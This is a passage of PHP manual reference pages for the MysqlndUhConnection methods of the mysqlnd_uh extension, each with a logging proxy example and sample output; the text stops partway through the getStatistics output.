Why the connection is to be closed. The value of close_type is one of MYSQLND_UH_MYSQLND_CLOSE_EXPLICIT, MYSQLND_UH_MYSQLND_CLOSE_IMPLICIT, MYSQLND_UH_MYSQLND_CLOSE_DISCONNECTED or MYSQLND_UH_MYSQLND_CLOSE_LAST. The latter should never be seen, unless the default behaviour of the mysqlnd library has been changed by a plugin.

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhConnection::close() example

<?php
function close_type_to_string($close_type) {
 $mapping = array(
  MYSQLND_UH_MYSQLND_CLOSE_DISCONNECTED => "MYSQLND_UH_MYSQLND_CLOSE_DISCONNECTED",
  MYSQLND_UH_MYSQLND_CLOSE_EXPLICIT => "MYSQLND_UH_MYSQLND_CLOSE_EXPLICIT",
  MYSQLND_UH_MYSQLND_CLOSE_IMPLICIT => "MYSQLND_UH_MYSQLND_CLOSE_IMPLICIT",
  MYSQLND_UH_MYSQLND_CLOSE_LAST => "MYSQLND_UH_MYSQLND_CLOSE_IMPLICIT"
 );
 return (isset($mapping[$close_type])) ? $mapping[$close_type] : 'unknown';
}

class proxy extends MysqlndUhConnection {
  public function close($res, $close_type) {
   printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
   printf("close_type = %s\n", close_type_to_string($close_type));
   /* WARNING: you must call the parent */
   $ret = parent::close($res, $close_type);
   printf("%s returns %s\n", __METHOD__, var_export($ret, true));
   return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->close();
?>

The above example will output:

proxy::close(array (
  0 => NULL,
  1 => 0,
))
close_type = MYSQLND_UH_MYSQLND_CLOSE_EXPLICIT
proxy::close returns true

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_close() - Closes a previously opened database connection
  • mysql_close() - Close MySQL connection

User Contributed Notes

There are no user contributed notes for this page.


Open a new connection to the MySQL server

  • « MysqlndUhConnection::close
  • MysqlndUhConnection::__construct »
  • PHP Manual
  • MysqlndUhConnection
  • Open a new connection to the MySQL server

MysqlndUhConnection::connect

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::connect — Open a new connection to the MySQL server

Description

public bool MysqlndUhConnection::connect ( mysqlnd_connection $connection , string $host , string $use" , string $password , string $database , int $port , string $socket , int $mysql_flags )

Open a new connection to the MySQL server.

Parameters

connection

Mysqlnd connection handle. Do not modify!

host

Can be either a host name or an IP address. Passing the NULL value or the string "localhost" to this parameter, the local host is assumed. When possible, pipes will be used instead of the TCP/IP protocol.

user

The MySQL user name.

password

If not provided or NULL, the MySQL server will attempt to authenticate the user against those user records which have no password only. This allows one username to be used with different permissions (depending on if a password as provided or not).

database

If provided will specify the default database to be used when performing queries.

port

Specifies the port number to attempt to connect to the MySQL server.

socket

Specifies the socket or named pipe that should be used. If NULL, mysqlnd will default to /tmp/mysql.sock.

mysql_flags

Connection options.

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhConnection::connect() example

<?php
class proxy extends MysqlndUhConnection {
 public function connect($res, $host, $user, $passwd, $db, $port, $socket, $mysql_flags) {
   printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
   $ret = parent::connect($res, $host, $user, $passwd, $db, $port, $socket, $mysql_flags);
   printf("%s returns %s\n", __METHOD__, var_export($ret, true));
   return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
?>

The above example will output:

proxy::connect(array (
  0 => NULL,
  1 => 'localhost',
  2 => 'root',
  3 => '',
  4 => 'test',
  5 => 3306,
  6 => NULL,
  7 => 131072,
))
proxy::connect returns true

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_connect() - Alias of mysqli::__construct
  • mysql_connect() - Open a connection to a MySQL Server

User Contributed Notes

There are no user contributed notes for this page.


The __construct purpose

  • « MysqlndUhConnection::connect
  • MysqlndUhConnection::endPSession »
  • PHP Manual
  • MysqlndUhConnection
  • The __construct purpose

MysqlndUhConnection::__construct

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::__construct — The __construct purpose

Description

public MysqlndUhConnection::__construct ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


End a persistent connection

  • « MysqlndUhConnection::__construct
  • MysqlndUhConnection::escapeString »
  • PHP Manual
  • MysqlndUhConnection
  • End a persistent connection

MysqlndUhConnection::endPSession

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::endPSession — End a persistent connection

Description

public bool MysqlndUhConnection::endPSession ( mysqlnd_connection $connection )

End a persistent connection

Warning

This function is currently not documented; only its argument list is available.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhConnection::endPSession() example

<?php
class proxy extends MysqlndUhConnection {
 public function endPSession($conn) {
   printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
   $ret = parent::endPSession($conn);
   printf("%s returns %s\n", __METHOD__, var_export($ret, true));
   return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("p:localhost", "root", "", "test");
$mysqli->close();
?>

The above example will output:

proxy::endPSession(array (
  0 => NULL,
))
proxy::endPSession returns true

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections

User Contributed Notes

There are no user contributed notes for this page.


Escapes special characters in a string for use in an SQL statement, taking into account the current charset of the connection

  • « MysqlndUhConnection::endPSession
  • MysqlndUhConnection::getAffectedRows »
  • PHP Manual
  • MysqlndUhConnection
  • Escapes special characters in a string for use in an SQL statement, taking into account the current charset of the connection

MysqlndUhConnection::escapeString

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::escapeString — Escapes special characters in a string for use in an SQL statement, taking into account the current charset of the connection

Description

public string MysqlndUhConnection::escapeString ( mysqlnd_connection $connection , string $escape_string )

Escapes special characters in a string for use in an SQL statement, taking into account the current charset of the connection.

Parameters

MYSQLND_UH_RES_MYSQLND_NAME

Mysqlnd connection handle. Do not modify!

escape_string

The string to be escaped.

Return Values

The escaped string.

Examples

Example #1 MysqlndUhConnection::escapeString() example

<?php
class proxy extends MysqlndUhConnection {
 public function escapeString($res, $string) {
   printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
   $ret = parent::escapeString($res, $string);
   printf("%s returns %s\n", __METHOD__, var_export($ret, true));
   return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->set_charset("latin1");
$mysqli->real_escape_string("test0'test");
?>

The above example will output:

proxy::escapeString(array (
  0 => NULL,
  1 => 'test0\'test',
))
proxy::escapeString returns 'test0\\\'test'

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_real_escape_string() - Escapes special characters in a string for use in an SQL statement, taking into account the current charset of the connection
  • mysql_real_escape_string() - Escapes special characters in a string for use in an SQL statement

User Contributed Notes

There are no user contributed notes for this page.


Gets the number of affected rows in a previous MySQL operation

  • « MysqlndUhConnection::escapeString
  • MysqlndUhConnection::getErrorNumber »
  • PHP Manual
  • MysqlndUhConnection
  • Gets the number of affected rows in a previous MySQL operation

MysqlndUhConnection::getAffectedRows

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::getAffectedRows — Gets the number of affected rows in a previous MySQL operation

Description

public int MysqlndUhConnection::getAffectedRows ( mysqlnd_connection $connection )

Gets the number of affected rows in a previous MySQL operation.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

Number of affected rows.

Examples

Example #1 MysqlndUhConnection::getAffectedRows() example

<?php
class proxy extends MysqlndUhConnection {
 public function getAffectedRows($res) {
   printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
   $ret = parent::getAffectedRows($res);
   printf("%s returns %s\n", __METHOD__, var_export($ret, true));
   return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");
$mysqli->query("INSERT INTO test(id) VALUES (1)");
var_dump($mysqli->affected_rows);
?>

The above example will output:

proxy::getAffectedRows(array (
  0 => NULL,
))
proxy::getAffectedRows returns 1
int(1)

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_affected_rows() - Gets the number of affected rows in a previous MySQL operation
  • mysql_affected_rows() - Get number of affected rows in previous MySQL operation

User Contributed Notes

There are no user contributed notes for this page.


Returns the error code for the most recent function call

  • « MysqlndUhConnection::getAffectedRows
  • MysqlndUhConnection::getErrorString »
  • PHP Manual
  • MysqlndUhConnection
  • Returns the error code for the most recent function call

MysqlndUhConnection::getErrorNumber

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::getErrorNumber — Returns the error code for the most recent function call

Description

public int MysqlndUhConnection::getErrorNumber ( mysqlnd_connection $connection )

Returns the error code for the most recent function call.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

Error code for the most recent function call.

Examples

MysqlndUhConnection::getErrorNumber() is not only executed after the invocation of a user space API call which maps directly to it but also called internally.

Example #1 MysqlndUhConnection::getErrorNumber() example

<?php
class proxy extends MysqlndUhConnection {
 public function getErrorNumber($res) {
   printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
   $ret = parent::getErrorNumber($res);
   printf("%s returns %s\n", __METHOD__, var_export($ret, true));
   return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

printf("connect...\n");
$mysqli = new mysqli("localhost", "root", "", "test");
printf("query...\n");
$mysqli->query("PLEASE_LET_THIS_BE_INVALID_SQL");
printf("errno...\n");
var_dump($mysqli->errno);
printf("close...\n");
$mysqli->close();
?>

The above example will output:

connect...
proxy::getErrorNumber(array (
  0 => NULL,
))
proxy::getErrorNumber returns 0
query...
errno...
proxy::getErrorNumber(array (
  0 => NULL,
))
proxy::getErrorNumber returns 1064
int(1064)
close...

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • MysqlndUhConnection::getErrorString() - Returns a string description of the last error
  • mysqli_errno() - Returns the error code for the most recent function call
  • mysql_errno() - Returns the numerical value of the error message from previous MySQL operation

User Contributed Notes

There are no user contributed notes for this page.


Returns a string description of the last error

  • « MysqlndUhConnection::getErrorNumber
  • MysqlndUhConnection::getFieldCount »
  • PHP Manual
  • MysqlndUhConnection
  • Returns a string description of the last error

MysqlndUhConnection::getErrorString

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::getErrorString — Returns a string description of the last error

Description

public string MysqlndUhConnection::getErrorString ( mysqlnd_connection $connection )

Returns a string description of the last error.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

Error string for the most recent function call.

Examples

MysqlndUhConnection::getErrorString() is not only executed after the invocation of a user space API call which maps directly to it but also called internally.

Example #1 MysqlndUhConnection::getErrorString() example

<?php
class proxy extends MysqlndUhConnection {
 public function getErrorString($res) {
   printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
   $ret = parent::getErrorString($res);
   printf("%s returns %s\n", __METHOD__, var_export($ret, true));
   return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

printf("connect...\n");
$mysqli = new mysqli("localhost", "root", "", "test");
printf("query...\n");
$mysqli->query("WILL_I_EVER_LEARN_SQL?");
printf("errno...\n");
var_dump($mysqli->error);
printf("close...\n");
$mysqli->close();
?>

The above example will output:

connect...
proxy::getErrorString(array (
  0 => NULL,
))
proxy::getErrorString returns ''
query...
errno...
proxy::getErrorString(array (
  0 => NULL,
))
proxy::getErrorString returns 'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near \'WILL_I_EVER_LEARN_SQL?\' at line 1'
string(168) "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WILL_I_EVER_LEARN_SQL?' at line 1"
close...

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • MysqlndUhConnection::getErrorNumber() - Returns the error code for the most recent function call
  • mysqli_error() - Returns a string description of the last error
  • mysql_error() - Returns the text of the error message from previous MySQL operation

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of columns for the most recent query

  • « MysqlndUhConnection::getErrorString
  • MysqlndUhConnection::getHostInformation »
  • PHP Manual
  • MysqlndUhConnection
  • Returns the number of columns for the most recent query

MysqlndUhConnection::getFieldCount

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::getFieldCount — Returns the number of columns for the most recent query

Description

public int MysqlndUhConnection::getFieldCount ( mysqlnd_connection $connection )

Returns the number of columns for the most recent query.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

Number of columns.

Examples

MysqlndUhConnection::getFieldCount() is not only executed after the invocation of a user space API call which maps directly to it but also called internally.

Example #1 MysqlndUhConnection::getFieldCount() example

<?php
class proxy extends MysqlndUhConnection {
 public function getFieldCount($res) {
   printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
   $ret = parent::getFieldCount($res);
   printf("%s returns %s\n", __METHOD__, var_export($ret, true));
   return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->query("WILL_I_EVER_LEARN_SQL?");
var_dump($mysqli->field_count);
$mysqli->query("SELECT 1, 2, 3 FROM DUAL");
var_dump($mysqli->field_count);
?>

The above example will output:

proxy::getFieldCount(array (
  0 => NULL,
))
proxy::getFieldCount returns 0
int(0)
proxy::getFieldCount(array (
  0 => NULL,
))
proxy::getFieldCount returns 3
proxy::getFieldCount(array (
  0 => NULL,
))
proxy::getFieldCount returns 3
int(3)

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_field_count() - Returns the number of columns for the most recent query

User Contributed Notes

There are no user contributed notes for this page.


Returns a string representing the type of connection used

  • « MysqlndUhConnection::getFieldCount
  • MysqlndUhConnection::getLastInsertId »
  • PHP Manual
  • MysqlndUhConnection
  • Returns a string representing the type of connection used

MysqlndUhConnection::getHostInformation

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::getHostInformation — Returns a string representing the type of connection used

Description

public string MysqlndUhConnection::getHostInformation ( mysqlnd_connection $connection )

Returns a string representing the type of connection used.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

Connection description.

Examples

Example #1 MysqlndUhConnection::getHostInformation() example

<?php
class proxy extends MysqlndUhConnection {
 public function getHostInformation($res) {
   printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
   $ret = parent::getHostInformation($res);
   printf("%s returns %s\n", __METHOD__, var_export($ret, true));
   return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
var_dump($mysqli->host_info);
?>

The above example will output:

proxy::getHostInformation(array (
  0 => NULL,
))
proxy::getHostInformation returns 'Localhost via UNIX socket'
string(25) "Localhost via UNIX socket"

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_get_host_info() - Returns a string representing the type of connection used
  • mysql_get_host_info() - Get MySQL host info

User Contributed Notes

There are no user contributed notes for this page.


Returns the auto generated id used in the last query.

  • « MysqlndUhConnection::getHostInformation
  • MysqlndUhConnection::getLastMessage »
  • PHP Manual
  • MysqlndUhConnection
  • Returns the auto generated id used in the last query.

MysqlndUhConnection::getLastInsertId

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::getLastInsertId — Returns the auto generated id used in the last query.

Description

public int MysqlndUhConnection::getLastInsertId ( mysqlnd_connection $connection )

Returns the auto generated id used in the last query.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

Last insert id.

Examples

Example #1 MysqlndUhConnection::getLastInsertId() example

<?php
class proxy extends MysqlndUhConnection {
 public function getLastInsertId($res) {
   printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
   $ret = parent::getLastInsertId($res);
   printf("%s returns %s\n", __METHOD__, var_export($ret, true));
   return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT AUTO_INCREMENT PRIMARY KEY, col VARCHAR(255))");
$mysqli->query("INSERT INTO test(col) VALUES ('a')");
var_dump($mysqli->insert_id);
?>

The above example will output:

proxy::getLastInsertId(array (
  0 => NULL,
))
proxy::getLastInsertId returns 1
int(1)

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_insert_id() - Returns the auto generated id used in the last query
  • mysql_insert_id() - Get the ID generated in the last query

User Contributed Notes

There are no user contributed notes for this page.


Retrieves information about the most recently executed query

  • « MysqlndUhConnection::getLastInsertId
  • MysqlndUhConnection::getProtocolInformation »
  • PHP Manual
  • MysqlndUhConnection
  • Retrieves information about the most recently executed query

MysqlndUhConnection::getLastMessage

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::getLastMessage — Retrieves information about the most recently executed query

Description

public void MysqlndUhConnection::getLastMessage ( mysqlnd_connection $connection )

Retrieves information about the most recently executed query.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

Last message. Trying to return a string longer than 511 bytes will cause an error of the type E_WARNING and result in the string being truncated.

Examples

Example #1 MysqlndUhConnection::getLastMessage() example

<?php
class proxy extends MysqlndUhConnection {
 public function getLastMessage($res) {
   printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
   $ret = parent::getLastMessage($res);
   printf("%s returns %s\n", __METHOD__, var_export($ret, true));
   return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
var_dump($mysqli->info);
$mysqli->query("DROP TABLE IF EXISTS test");
var_dump($mysqli->info);
?>

The above example will output:

proxy::getLastMessage(array (
  0 => NULL,
))
proxy::getLastMessage returns ''
string(0) ""
proxy::getLastMessage(array (
  0 => NULL,
))
proxy::getLastMessage returns ''
string(0) ""

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_info() - Retrieves information about the most recently executed query
  • mysql_info() - Get information about the most recent query

User Contributed Notes

There are no user contributed notes for this page.


Returns the version of the MySQL protocol used

  • « MysqlndUhConnection::getLastMessage
  • MysqlndUhConnection::getServerInformation »
  • PHP Manual
  • MysqlndUhConnection
  • Returns the version of the MySQL protocol used

MysqlndUhConnection::getProtocolInformation

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::getProtocolInformation — Returns the version of the MySQL protocol used

Description

public string MysqlndUhConnection::getProtocolInformation ( mysqlnd_connection $connection )

Returns the version of the MySQL protocol used.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

The protocol version.

Examples

Example #1 MysqlndUhConnection::getProtocolInformation() example

<?php
class proxy extends MysqlndUhConnection {
 public function getProtocolInformation($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::getProtocolInformation($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
var_dump($mysqli->protocol_version);
?>

The above example will output:

proxy::getProtocolInformation(array (
  0 => NULL,
))
proxy::getProtocolInformation returns 10
int(10)

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_get_proto_info() - Returns the version of the MySQL protocol used
  • mysql_get_proto_info() - Get MySQL protocol info

User Contributed Notes

There are no user contributed notes for this page.


Returns the version of the MySQL server

  • « MysqlndUhConnection::getProtocolInformation
  • MysqlndUhConnection::getServerStatistics »
  • PHP Manual
  • MysqlndUhConnection
  • Returns the version of the MySQL server

MysqlndUhConnection::getServerInformation

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::getServerInformation — Returns the version of the MySQL server

Description

public string MysqlndUhConnection::getServerInformation ( mysqlnd_connection $connection )

Returns the version of the MySQL server.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

The server version.

Examples

Example #1 MysqlndUhConnection::getServerInformation() example

<?php
class proxy extends MysqlndUhConnection {
 public function getServerInformation($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::getServerInformation($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
var_dump($mysqli->server_info);
?>

The above example will output:

proxy::getServerInformation(array (
  0 => NULL,
))
proxy::getServerInformation returns '5.1.45-debug-log'
string(16) "5.1.45-debug-log"

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_get_server_info() - Returns the version of the MySQL server
  • mysql_get_server_info() - Get MySQL server info

User Contributed Notes

There are no user contributed notes for this page.


Gets the current system status

  • « MysqlndUhConnection::getServerInformation
  • MysqlndUhConnection::getServerVersion »
  • PHP Manual
  • MysqlndUhConnection
  • Gets the current system status

MysqlndUhConnection::getServerStatistics

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::getServerStatistics — Gets the current system status

Description

public string MysqlndUhConnection::getServerStatistics ( mysqlnd_connection $connection )

Gets the current system status.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

The system status message.

Examples

Example #1 MysqlndUhConnection::getServerStatistics() example

<?php
class proxy extends MysqlndUhConnection {
 public function getServerStatistics($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::getServerStatistics($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
var_dump(mysqli_stat($mysqli));
?>

The above example will output:

proxy::getServerStatistics(array (
  0 => NULL,
))
proxy::getServerStatistics returns 'Uptime: 2059995  Threads: 1  Questions: 126157  Slow queries: 0  Opens: 6377  Flush tables: 1  Open tables: 18  Queries per second avg: 0.61'
string(140) "Uptime: 2059995  Threads: 1  Questions: 126157  Slow queries: 0  Opens: 6377  Flush tables: 1  Open tables: 18  Queries per second avg: 0.61"

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_stat() - Gets the current system status
  • mysql_stat() - Get current system status

User Contributed Notes

There are no user contributed notes for this page.


Returns the version of the MySQL server as an integer

  • « MysqlndUhConnection::getServerStatistics
  • MysqlndUhConnection::getSqlstate »
  • PHP Manual
  • MysqlndUhConnection
  • Returns the version of the MySQL server as an integer

MysqlndUhConnection::getServerVersion

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::getServerVersion — Returns the version of the MySQL server as an integer

Description

public int MysqlndUhConnection::getServerVersion ( mysqlnd_connection $connection )

Returns the version of the MySQL server as an integer.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

The MySQL version.

Examples

Example #1 MysqlndUhConnection::getServerVersion() example

<?php
class proxy extends MysqlndUhConnection {
 public function getServerVersion($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::getServerVersion($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
var_dump($mysqli->server_version);
?>

The above example will output:

proxy::getServerVersion(array (
  0 => NULL,
))
proxy::getServerVersion returns 50145
int(50145)

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_get_server_version() - Returns the version of the MySQL server as an integer
  • mysql_get_server_version()

User Contributed Notes

There are no user contributed notes for this page.


Returns the SQLSTATE error from previous MySQL operation

  • « MysqlndUhConnection::getServerVersion
  • MysqlndUhConnection::getStatistics »
  • PHP Manual
  • MysqlndUhConnection
  • Returns the SQLSTATE error from previous MySQL operation

MysqlndUhConnection::getSqlstate

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::getSqlstate — Returns the SQLSTATE error from previous MySQL operation

Description

public string MysqlndUhConnection::getSqlstate ( mysqlnd_connection $connection )

Returns the SQLSTATE error from previous MySQL operation.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

The SQLSTATE code.

Examples

Example #1 MysqlndUhConnection::getSqlstate() example

<?php
class proxy extends MysqlndUhConnection {
 public function getSqlstate($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::getSqlstate($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
var_dump($mysqli->sqlstate);
$mysqli->query("AN_INVALID_REQUEST_TO_PROVOKE_AN_ERROR");
var_dump($mysqli->sqlstate);
?>

The above example will output:

proxy::getSqlstate(array (
  0 => NULL,
))
proxy::getSqlstate returns '00000'
string(5) "00000"
proxy::getSqlstate(array (
  0 => NULL,
))
proxy::getSqlstate returns '42000'
string(5) "42000"

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_sql_state()

User Contributed Notes

There are no user contributed notes for this page.


Returns statistics about the client connection.

  • « MysqlndUhConnection::getSqlstate
  • MysqlndUhConnection::getThreadId »
  • PHP Manual
  • MysqlndUhConnection
  • Returns statistics about the client connection.

MysqlndUhConnection::getStatistics

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::getStatistics — Returns statistics about the client connection.

Description

public array MysqlndUhConnection::getStatistics ( mysqlnd_connection $connection )

Returns statistics about the client connection.

Warning

This function is currently not documented; only its argument list is available.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

Connection statistics collected by mysqlnd.

Examples

Example #1 MysqlndUhConnection::getStatistics() example

<?php
class proxy extends MysqlndUhConnection {
 public function getStatistics($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::getStatistics($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
var_dump($mysqli->get_connection_stats());
?>

The above example will output:

proxy::getStatistics(array (
  0 => NULL,
))
proxy::getStatistics returns array (
  'bytes_sent' => '73',
  'bytes_received' => '77',
  'packets_sent' => '2',
  'packets_received' => '2',
  'protocol_overhead_in' => '8',
  'protocol_overhead_out' => '8',
  'bytes_received_ok_packet' => '0',
  'bytes_received_eof_packet' => '0',
  'bytes_received_rset_header_packet' => '0',
  'bytes_received_rset_field_meta_packet' => '0',
  'bytes_received_rset_row_packet' => '0',
  'bytes_received_prepare_response_packet' => '0',
  'bytes_received_change_user_packet' => '0',
  'packets_sent_command' => '0',
  'packets_received_ok' => '0',
  'packets_received_eof' => '0',
  'packets_received_rset_header' => '0',
  'packets_received_rset_field_meta' => '0',
  'packets_received_rset_row' => '0',
  'packets_received_prepare_response' => '0',
  'packets_received_change_user' => '0',
  'result_set_queries' => '0',
  'non_result_set_queries' => '0',
  'no_index_used' => '0',
  'bad_index_used' => '0',
  'slow_queries' => '0',
  'buffered_sets' => '0',
  'unbuffered_sets' => '0',
  'ps_buffered_sets' => '0',
  'ps_unbuffered_sets' => '0',
  'flushed_normal_sets' => '0',
  'flushed_ps_sets' => '0',
  'ps_prepared_never_executed' => '0',
  'ps_prepared_once_executed' => '0',
  'rows_fetched_from_server_normal' => '0',
  'rows_fetched_from_server_ps' => '0',
  'rows_buffered_from_client_normal' => '0',
  'rows_buffered_from_client_ps' => '0',
  'rows_fetched_from_client_normal_buffered' => '0',
  'rows_fetched_from_client_normal_unbuffered' => '0',
  'rows_fetched_from_client_ps_buffered' => '0',
  'rows_fetched_from_client_ps_unbuffered' => '0',
  'rows_fetched_from_client_ps_cursor' => '0',
  'rows_affected_normal' => '0',
  'rows_affected_ps' => '0',
  'rows_skipped_normal' => '0',
  'rows_skipped_ps' => '0',
  'copy_on_write_saved' => '0',
  'copy_on_write_performed' => '0',
  'command_buffer_too_small' => '0',
  'connect_success' => '1',
  'connect_failure' => '0',
  'connection_reused' => '0',
  'reconnect' => '0',
  'pconnect_success' => '0',
  'active_connections' => '1',
  'active_persistent_connections' => '0',
  'explicit_close' => '0',
  'implicit_close' => '0',
  'disconnect_close' => '0',
  'in_middle_of_command_close' => '0',
  'explicit_free_result' => '0',
  'implicit_free_result' => '0',
  'explicit_stmt_close' => '0',
  'implicit_stmt_close' => '0',
  'mem_emalloc_count' => '0',
  'mem_emalloc_amount' => '0',
  'mem_ecalloc_count' => '0',
  'mem_ecalloc_amount' => '0',
  'mem_erealloc_count' => '0',
  'mem_erealloc_amount' => '0',
  'mem_efree_count' => '0',
  'mem_efree_amount' => '0',
  'mem_malloc_count' => '0',
  'mem_malloc_amount' => '0',
  'mem_calloc_count' => '0',
  'mem_calloc_amount' => '0',
  'mem_realloc_count' => '0',
  'mem_realloc_amount' => '0',
  'mem_free_count' => '0',
  'mem_free_amount' => '0',
  'mem_estrndup_count' => '0',
  'mem_strndup_count' => '0',
  'mem_estndup_count' => '0',
